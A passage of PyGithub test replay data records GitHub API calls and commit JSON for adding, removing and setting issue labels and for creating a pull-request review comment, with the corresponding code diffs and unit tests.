charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","deletions":0},{"changes":35,"additions":35,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,35 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","deletions":0},{"changes":5,"additions":5,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,5 @@\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","deletions":0}],"parents":[{"sha":"93dcae5cf207de376c91d0599226e7c7563e1d16","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16"}],"commit":{"tree":{"sha":"fa0251344d6b0b9f69f33c1faf6e3323001b309d","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/fa0251344d6b0b9f69f33c1faf6e3323001b309d"},"message":"Test (and implement) Issue.*_label*\n\nAnd this commit will be used to test PullRequests","url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","author":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"},"committer":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"}},"author":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206.3","committer":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146}} https POST api.github.com None /repos/PyGithub/PyGithub/pulls/31/comments {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Comment created by PyGithub", "commit_id": "8a4f306d4b223682dd19410d4a9150636ebe4206", "line": 10, "start_line": 5, "path": "src/github/Issue.py", "side": "RIGHT", "start_side": "RIGHT"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4953'), ('content-length', '937'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7ca841d45253326d61bee20c809872dc"'), ('date', 'Sun, 27 May 2012 09:40:12 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298')] {"updated_at":"2012-05-27T09:40:12Z","line":5,"original_position":5,"body":"CComment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":886298,"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#r886298"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testCreateReviewCommentInReplyTo.txt0000644000175100001660000005234014756101563027625 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '19468'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"54236e7f65246e5fdb1122bd461e4a5d"'), ('date', 'Fri, 01 Jun 2012 19:43:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","stats":{"additions":131,"total":135,"deletions":4},"files":[{"changes":17,"additions":14,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","deletions":3},{"changes":7,"additions":7,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","deletions":0},{"changes":26,"additions":25,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","deletions":1},{"changes":45,"additions":45,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,45 @@\n+GET /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","deletions":0},{"changes":35,"additions":35,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,35 @@\n+GET /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","deletions":0},{"changes":5,"additions":5,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,5 @@\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project 